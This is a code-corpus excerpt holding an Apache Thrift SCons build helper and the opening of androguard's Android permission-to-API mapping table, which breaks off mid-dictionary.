# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
# OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
# TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
# DAMAGE.
| bsd-3-clause |
apuckey/thrift-0.9.1 | lib/py/src/TSCons.py | 237 | 1267 | #
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
#
from os import path
from SCons.Builder import Builder
def scons_env(env, add=''):
opath = path.dirname(path.abspath('$TARGET'))
lstr = 'thrift --gen cpp -o ' + opath + ' ' + add + ' $SOURCE'
cppbuild = Builder(action=lstr)
env.Append(BUILDERS={'ThriftCpp': cppbuild})
def gen_cpp(env, dir, file):
scons_env(env)
suffixes = ['_types.h', '_types.cpp']
targets = map(lambda s: 'gen-cpp/' + file + s, suffixes)
return env.ThriftCpp(targets, dir + file + '.thrift')
| apache-2.0 |
benedeku/HolaMundo | androguard/core/bytecodes/api_permissions.py | 14 | 332065 | DVM_PERMISSIONS_BY_PERMISSION = {
"BIND_DEVICE_ADMIN": {
"Landroid/app/admin/DeviceAdminReceiver;": [
("C", "ACTION_DEVICE_ADMIN_ENABLED", "Ljava/lang/String;"),
],
"Landroid/app/admin/DevicePolicyManager;": [
("F", "getRemoveWarning",
"(Landroid/content/ComponentName; Landroid/os/RemoteCallback;)"),
("F", "reportFailedPasswordAttempt", "()"),
("F", "reportSuccessfulPasswordAttempt", "()"),
("F", "setActiveAdmin", "(Landroid/content/ComponentName;)"),
("F", "setActivePasswordState", "(I I)"),
],
"Landroid/app/admin/IDevicePolicyManager$Stub$Proxy;": [
("F", "getRemoveWarning",
"(Landroid/content/ComponentName; Landroid/os/RemoteCallback;)"),
("F", "reportFailedPasswordAttempt", "()"),
("F", "reportSuccessfulPasswordAttempt", "()"),
("F", "setActiveAdmin", "(Landroid/content/ComponentName;)"),
("F", "setActivePasswordState", "(I I)"),
],
},
"READ_SYNC_SETTINGS": {
"Landroid/app/ContextImpl$ApplicationContentResolver;": [
("F", "getIsSyncable",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "getMasterSyncAutomatically", "()"),
("F", "getPeriodicSyncs",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "getSyncAutomatically",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
],
"Landroid/content/ContentService;": [
("F", "getIsSyncable",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "getMasterSyncAutomatically", "()"),
("F", "getPeriodicSyncs",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "getSyncAutomatically",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
],
"Landroid/content/ContentResolver;": [
("F", "getIsSyncable",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "getMasterSyncAutomatically", "()"),
("F", "getPeriodicSyncs",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "getSyncAutomatically",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
],
"Landroid/content/IContentService$Stub$Proxy;": [
("F", "getIsSyncable",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "getMasterSyncAutomatically", "()"),
("F", "getPeriodicSyncs",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "getSyncAutomatically",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
],
},
"FACTORY_TEST": {
"Landroid/content/pm/ApplicationInfo;": [
("C", "FLAG_FACTORY_TEST", "I"),
("C", "flags", "I"),
],
"Landroid/content/Intent;": [
("C", "IntentResolution", "Ljava/lang/String;"),
("C", "ACTION_FACTORY_TEST", "Ljava/lang/String;"),
],
},
"SET_ALWAYS_FINISH": {
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "setAlwaysFinish", "(B)"),
],
},
"READ_CALENDAR": {
"Landroid/provider/Calendar$CalendarAlerts;": [
("F", "alarmExists", "(Landroid/content/ContentResolver; J J J)"),
("F", "findNextAlarmTime", "(Landroid/content/ContentResolver; J)"),
("F", "query",
"(Landroid/content/ContentResolver; [L[Ljava/lang/Strin; Ljava/lang/String; [L[Ljava/lang/Strin; Ljava/lang/String;)"
),
],
"Landroid/provider/Calendar$Calendars;": [
("F", "query",
"(Landroid/content/ContentResolver; [L[Ljava/lang/Strin; Ljava/lang/String; Ljava/lang/String;)"
),
],
"Landroid/provider/Calendar$Events;": [
("F", "query",
"(Landroid/content/ContentResolver; [L[Ljava/lang/Strin; Ljava/lang/String; Ljava/lang/String;)"
),
("F", "query",
"(Landroid/content/ContentResolver; [L[Ljava/lang/Strin;)"),
],
"Landroid/provider/Calendar$Instances;": [
("F", "query",
"(Landroid/content/ContentResolver; [L[Ljava/lang/Strin; J J Ljava/lang/String; Ljava/lang/String;)"
),
("F", "query",
"(Landroid/content/ContentResolver; [L[Ljava/lang/Strin; J J)"),
],
"Landroid/provider/Calendar$EventDays;": [
("F", "query", "(Landroid/content/ContentResolver; I I)"),
],
},
"ACCESS_DRM": {
"Landroid/provider/DrmStore;": [
("F", "enforceAccessDrmPermission", "(Landroid/content/Context;)"),
],
},
"CHANGE_CONFIGURATION": {
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "updateConfiguration", "(Landroid/content/res/Configuration;)"
),
],
},
"SET_ACTIVITY_WATCHER": {
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "profileControl",
"(Ljava/lang/String; B Ljava/lang/String; Landroid/os/ParcelFileDescriptor;)"
),
("F", "setActivityController", "(Landroid/app/IActivityController;)"
),
],
},
"GET_PACKAGE_SIZE": {
"Landroid/app/ContextImpl$ApplicationPackageManager;": [
("F", "getPackageSizeInfo",
"(Ljava/lang/String; LIPackageStatsObserver;)"),
("F", "getPackageSizeInfo",
"(Ljava/lang/String; Landroid/content/pm/IPackageStatsObserver;)"),
],
"Landroid/content/pm/PackageManager;": [
("F", "getPackageSizeInfo",
"(Ljava/lang/String; Landroid/content/pm/IPackageStatsObserver;)"),
],
},
"CONTROL_LOCATION_UPDATES": {
"Landroid/telephony/TelephonyManager;": [
("F", "disableLocationUpdates", "()"),
("F", "enableLocationUpdates", "()"),
],
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;": [
("F", "disableLocationUpdates", "()"),
("F", "enableLocationUpdates", "()"),
],
},
"CLEAR_APP_CACHE": {
"Landroid/app/ContextImpl$ApplicationPackageManager;": [
("F", "freeStorage", "(J LIntentSender;)"),
("F", "freeStorageAndNotify", "(J LIPackageDataObserver;)"),
("F", "freeStorage", "(J Landroid/content/IntentSender;)"),
("F", "freeStorageAndNotify",
"(J Landroid/content/pm/IPackageDataObserver;)"),
],
"Landroid/content/pm/PackageManager;": [
("F", "freeStorage", "(J Landroid/content/IntentSender;)"),
("F", "freeStorageAndNotify",
"(J Landroid/content/pm/IPackageDataObserver;)"),
],
"Landroid/content/pm/IPackageManager$Stub$Proxy;": [
("F", "freeStorage", "(J Landroid/content/IntentSender;)"),
("F", "freeStorageAndNotify",
"(J Landroid/content/pm/IPackageDataObserver;)"),
],
},
"BIND_INPUT_METHOD": {
"Landroid/view/inputmethod/InputMethod;": [
("C", "SERVICE_INTERFACE", "Ljava/lang/String;"),
],
},
"SIGNAL_PERSISTENT_PROCESSES": {
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "signalPersistentProcesses", "(I)"),
],
},
"BATTERY_STATS": {
"Lcom/android/internal/app/IBatteryStats$Stub$Proxy;": [
("F", "getAwakeTimeBattery", "()"),
("F", "getAwakeTimePlugged", "()"),
("F", "getStatistics", "()"),
],
},
"AUTHENTICATE_ACCOUNTS": {
"Landroid/accounts/AccountManager;": [
("F", "addAccountExplicitly",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)"
),
("F", "getPassword", "(Landroid/accounts/Account;)"),
("F", "getUserData",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "peekAuthToken",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "setAuthToken",
"(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)"
),
("F", "setPassword",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "setUserData",
"(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)"
),
("F", "addAccountExplicitly",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)"
),
("F", "getPassword", "(Landroid/accounts/Account;)"),
("F", "getUserData",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "peekAuthToken",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "setAuthToken",
"(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)"
),
("F", "setPassword",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "setUserData",
"(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)"
),
],
"Landroid/accounts/AccountManagerService;": [
("F", "addAccount",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)"
),
("F", "checkAuthenticateAccountsPermission",
"(Landroid/accounts/Account;)"),
("F", "getPassword", "(Landroid/accounts/Account;)"),
("F", "getUserData",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "peekAuthToken",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "setAuthToken",
"(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)"
),
("F", "setPassword",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "setUserData",
"(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)"
),
],
"Landroid/accounts/IAccountManager$Stub$Proxy;": [
("F", "addAccount",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)"
),
("F", "getPassword", "(Landroid/accounts/Account;)"),
("F", "getUserData",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "peekAuthToken",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "setAuthToken",
"(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)"
),
("F", "setPassword",
"(Landroid/accounts/Account; Ljava/lang/String;)"),
("F", "setUserData",
"(Landroid/accounts/Account; Ljava/lang/String; Ljava/lang/String;)"
),
],
},
"CHANGE_BACKGROUND_DATA_SETTING": {
"Landroid/net/IConnectivityManager$Stub$Proxy;": [
("F", "setBackgroundDataSetting", "(B)"),
],
"Landroid/net/ConnectivityManager;": [
("F", "setBackgroundDataSetting", "(B)"),
],
},
"RESTART_PACKAGES": {
"Landroid/app/ActivityManagerNative;": [
("F", "killBackgroundProcesses", "(Ljava/lang/String;)"),
("F", "restartPackage", "(Ljava/lang/String;)"),
],
"Landroid/app/ActivityManager;": [
("F", "killBackgroundProcesses", "(Ljava/lang/String;)"),
("F", "restartPackage", "(Ljava/lang/String;)"),
],
},
"CALL_PRIVILEGED": {
"Landroid/telephony/TelephonyManager;": [
("F", "getCompleteVoiceMailNumber", "()"),
],
"Landroid/telephony/PhoneNumberUtils;": [
("F", "getNumberFromIntent",
"(Landroid/content/Intent; Landroid/content/Context;)"),
],
},
"SET_WALLPAPER_COMPONENT": {
"Landroid/app/IWallpaperManager$Stub$Proxy;": [
("F", "setWallpaperComponent", "(Landroid/content/ComponentName;)"),
],
},
"DISABLE_KEYGUARD": {
"Landroid/view/IWindowManager$Stub$Proxy;": [
("F", "disableKeyguard", "(Landroid/os/IBinder; Ljava/lang/String;)"
),
("F", "exitKeyguardSecurely",
"(Landroid/view/IOnKeyguardExitResult;)"),
("F", "reenableKeyguard", "(Landroid/os/IBinder;)"),
],
"Landroid/app/KeyguardManager;": [
("F", "exitKeyguardSecurely",
"(Landroid/app/KeyguardManager$OnKeyguardExitResult;)"),
],
"Landroid/app/KeyguardManager$KeyguardLock;": [
("F", "disableKeyguard", "()"),
("F", "reenableKeyguard", "()"),
],
},
"DELETE_PACKAGES": {
"Landroid/app/ContextImpl$ApplicationPackageManager;": [
("F", "deletePackage",
"(Ljava/lang/String; LIPackageDeleteObserver; I)"),
("F", "deletePackage",
"(Ljava/lang/String; LIPackageDeleteObserver; I)"),
],
"Landroid/content/pm/PackageManager;": [
("F", "deletePackage",
"(Ljava/lang/String; LIPackageDeleteObserver; I)"),
],
"Landroid/content/pm/IPackageManager$Stub$Proxy;": [
("F", "deletePackage",
"(Ljava/lang/String; Landroid/content/pm/IPackageDeleteObserver; I)"
),
],
},
"CHANGE_COMPONENT_ENABLED_STATE": {
"Landroid/app/ContextImpl$ApplicationPackageManager;": [
("F", "setApplicationEnabledSetting", "(Ljava/lang/String; I I)"),
("F", "setComponentEnabledSetting", "(LComponentName; I I)"),
("F", "setApplicationEnabledSetting", "(Ljava/lang/String; I I)"),
("F", "setComponentEnabledSetting",
"(Landroid/content/ComponentName; I I)"),
],
"Landroid/content/pm/PackageManager;": [
("F", "setApplicationEnabledSetting", "(Ljava/lang/String; I I)"),
("F", "setComponentEnabledSetting",
"(Landroid/content/ComponentName; I I)"),
],
"Landroid/content/pm/IPackageManager$Stub$Proxy;": [
("F", "setApplicationEnabledSetting", "(Ljava/lang/String; I I)"),
("F", "setComponentEnabledSetting",
"(Landroid/content/ComponentName; I I)"),
],
},
"ASEC_ACCESS": {
"Landroid/os/storage/IMountService$Stub$Proxy;": [
("F", "getSecureContainerList", "()"),
("F", "getSecureContainerPath", "(Ljava/lang/String;)"),
("F", "isSecureContainerMounted", "(Ljava/lang/String;)"),
],
},
"UPDATE_DEVICE_STATS": {
"Lcom/android/internal/app/IUsageStats$Stub$Proxy;": [
("F", "noteLaunchTime", "(LComponentName;)"),
],
},
"RECORD_AUDIO": {
"Landroid/net/sip/SipAudioCall;": [
("F", "startAudio", "()"),
],
"Landroid/media/MediaRecorder;": [
("F", "setAudioSource", "(I)"),
],
"Landroid/speech/SpeechRecognizer;": [
("F", "cancel", "()"),
("F", "handleCancelMessage", "()"),
("F", "handleStartListening", "(Landroid/content/Intent;)"),
("F", "handleStopMessage", "()"),
("F", "startListening", "(Landroid/content/Intent;)"),
("F", "stopListening", "()"),
],
"Landroid/media/AudioRecord;": [
("F", "<init>", "(I I I I I)"),
],
},
"ACCESS_MOCK_LOCATION": {
"Landroid/location/LocationManager;": [
("F", "addTestProvider", "(Ljava/lang/String; B B B B B B B I I)"),
("F", "clearTestProviderEnabled", "(Ljava/lang/String;)"),
("F", "clearTestProviderLocation", "(Ljava/lang/String;)"),
("F", "clearTestProviderStatus", "(Ljava/lang/String;)"),
("F", "removeTestProvider", "(Ljava/lang/String;)"),
("F", "setTestProviderEnabled", "(Ljava/lang/String; B)"),
("F", "setTestProviderLocation",
"(Ljava/lang/String; Landroid/location/Location;)"),
("F", "setTestProviderStatus",
"(Ljava/lang/String; I Landroid/os/Bundle; J)"),
("F", "addTestProvider", "(Ljava/lang/String; B B B B B B B I I)"),
("F", "clearTestProviderEnabled", "(Ljava/lang/String;)"),
("F", "clearTestProviderLocation", "(Ljava/lang/String;)"),
("F", "clearTestProviderStatus", "(Ljava/lang/String;)"),
("F", "removeTestProvider", "(Ljava/lang/String;)"),
("F", "setTestProviderEnabled", "(Ljava/lang/String; B)"),
("F", "setTestProviderLocation",
"(Ljava/lang/String; Landroid/location/Location;)"),
("F", "setTestProviderStatus",
"(Ljava/lang/String; I Landroid/os/Bundle; J)"),
],
"Landroid/location/ILocationManager$Stub$Proxy;": [
("F", "addTestProvider", "(Ljava/lang/String; B B B B B B B I I)"),
("F", "clearTestProviderEnabled", "(Ljava/lang/String;)"),
("F", "clearTestProviderLocation", "(Ljava/lang/String;)"),
("F", "clearTestProviderStatus", "(Ljava/lang/String;)"),
("F", "removeTestProvider", "(Ljava/lang/String;)"),
("F", "setTestProviderEnabled", "(Ljava/lang/String; B)"),
("F", "setTestProviderLocation",
"(Ljava/lang/String; Landroid/location/Location;)"),
("F", "setTestProviderStatus",
"(Ljava/lang/String; I Landroid/os/Bundle; J)"),
],
},
"VIBRATE": {
"Landroid/media/AudioManager;": [
("C", "EXTRA_RINGER_MODE", "Ljava/lang/String;"),
("C", "EXTRA_VIBRATE_SETTING", "Ljava/lang/String;"),
("C", "EXTRA_VIBRATE_TYPE", "Ljava/lang/String;"),
("C", "FLAG_REMOVE_SOUND_AND_VIBRATE", "I"),
("C", "FLAG_VIBRATE", "I"),
("C", "RINGER_MODE_VIBRATE", "I"),
("C", "VIBRATE_SETTING_CHANGED_ACTION", "Ljava/lang/String;"),
("C", "VIBRATE_SETTING_OFF", "I"),
("C", "VIBRATE_SETTING_ON", "I"),
("C", "VIBRATE_SETTING_ONLY_SILENT", "I"),
("C", "VIBRATE_TYPE_NOTIFICATION", "I"),
("C", "VIBRATE_TYPE_RINGER", "I"),
("F", "getRingerMode", "()"),
("F", "getVibrateSetting", "(I)"),
("F", "setRingerMode", "(I)"),
("F", "setVibrateSetting", "(I I)"),
("F", "shouldVibrate", "(I)"),
],
"Landroid/os/Vibrator;": [
("F", "cancel", "()"),
("F", "vibrate", "([L; I)"),
("F", "vibrate", "(J)"),
],
"Landroid/provider/Settings/System;": [
("C", "VIBRATE_ON", "Ljava/lang/String;"),
],
"Landroid/app/NotificationManager;": [
("F", "notify", "(I Landroid/app/Notification;)"),
("F", "notify", "(Ljava/lang/String; I Landroid/app/Notification;)"
),
],
"Landroid/app/Notification/Builder;": [
("F", "setDefaults", "(I)"),
],
"Landroid/os/IVibratorService$Stub$Proxy;": [
("F", "cancelVibrate", "(Landroid/os/IBinder;)"),
("F", "vibrate", "(J Landroid/os/IBinder;)"),
("F", "vibratePattern", "([L; I Landroid/os/IBinder;)"),
],
"Landroid/app/Notification;": [
("C", "DEFAULT_VIBRATE", "I"),
("C", "defaults", "I"),
],
},
"ASEC_CREATE": {
"Landroid/os/storage/IMountService$Stub$Proxy;": [
("F", "createSecureContainer",
"(Ljava/lang/String; I Ljava/lang/String; Ljava/lang/String; I)"),
("F", "finalizeSecureContainer", "(Ljava/lang/String;)"),
],
},
"WRITE_SECURE_SETTINGS": {
"Landroid/bluetooth/BluetoothAdapter;": [
("F", "setScanMode", "(I I)"),
("F", "setScanMode", "(I)"),
],
"Landroid/server/BluetoothService;": [
("F", "setScanMode", "(I I)"),
],
"Landroid/os/IPowerManager$Stub$Proxy;": [
("F", "setMaximumScreenOffTimeount", "(I)"),
],
"Landroid/content/pm/IPackageManager$Stub$Proxy;": [
("F", "setInstallLocation", "(I)"),
],
"Landroid/bluetooth/IBluetooth$Stub$Proxy;": [
("F", "setScanMode", "(I I)"),
],
},
"SET_ORIENTATION": {
"Landroid/view/IWindowManager$Stub$Proxy;": [
("F", "setRotation", "(I B I)"),
],
},
"PACKAGE_USAGE_STATS": {
"Lcom/android/internal/app/IUsageStats$Stub$Proxy;": [
("F", "getAllPkgUsageStats", "()"),
("F", "getPkgUsageStats", "(LComponentName;)"),
],
},
"FLASHLIGHT": {
"Landroid/os/IHardwareService$Stub$Proxy;": [
("F", "setFlashlightEnabled", "(B)"),
],
},
"GLOBAL_SEARCH": {
"Landroid/app/SearchManager;": [
("C", "EXTRA_SELECT_QUERY", "Ljava/lang/String;"),
("C", "INTENT_ACTION_GLOBAL_SEARCH", "Ljava/lang/String;"),
],
"Landroid/server/search/Searchables;": [
("F", "buildSearchableList", "()"),
("F", "findGlobalSearchActivity", "()"),
],
},
"CHANGE_WIFI_STATE": {
"Landroid/net/wifi/IWifiManager$Stub$Proxy;": [
("F", "addOrUpdateNetwork", "(Landroid/net/wifi/WifiConfiguration;)"
),
("F", "disableNetwork", "(I)"),
("F", "disconnect", "()"),
("F", "enableNetwork", "(I B)"),
("F", "pingSupplicant", "()"),
("F", "reassociate", "()"),
("F", "reconnect", "()"),
("F", "removeNetwork", "(I)"),
("F", "saveConfiguration", "()"),
("F", "setNumAllowedChannels", "(I B)"),
("F", "setWifiApEnabled", "(Landroid/net/wifi/WifiConfiguration; B)"
),
("F", "setWifiEnabled", "(B)"),
("F", "startScan", "(B)"),
],
"Landroid/net/wifi/WifiManager;": [
("F", "addNetwork", "(Landroid/net/wifi/WifiConfiguration;)"),
("F", "addOrUpdateNetwork", "(Landroid/net/wifi/WifiConfiguration;)"
),
("F", "disableNetwork", "(I)"),
("F", "disconnect", "()"),
("F", "enableNetwork", "(I B)"),
("F", "pingSupplicant", "()"),
("F", "reassociate", "()"),
("F", "reconnect", "()"),
("F", "removeNetwork", "(I)"),
("F", "saveConfiguration", "()"),
("F", "setNumAllowedChannels", "(I B)"),
("F", "setWifiApEnabled", "(Landroid/net/wifi/WifiConfiguration; B)"
),
("F", "setWifiEnabled", "(B)"),
("F", "startScan", "()"),
("F", "startScanActive", "()"),
],
},
"BROADCAST_STICKY": {
"Landroid/app/ExpandableListActivity;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/accessibilityservice/AccessibilityService;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/accounts/GrantCredentialsPermissionActivity;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/app/backup/BackupAgent;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/service/wallpaper/WallpaperService;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/app/backup/BackupAgentHelper;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/accounts/AccountAuthenticatorActivity;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "unbroadcastIntent",
"(Landroid/app/IApplicationThread; Landroid/content/Intent;)"),
],
"Landroid/app/ActivityGroup;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/content/ContextWrapper;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/app/Activity;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/app/ContextImpl;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/app/AliasActivity;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/content/Context;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/service/urlrenderer/UrlRendererService;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/app/FullBackupAgent;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/app/TabActivity;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/view/ContextThemeWrapper;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/speech/RecognitionService;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/app/IntentService;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/inputmethodservice/AbstractInputMethodService;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/app/Application;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/app/ListActivity;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/app/Service;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
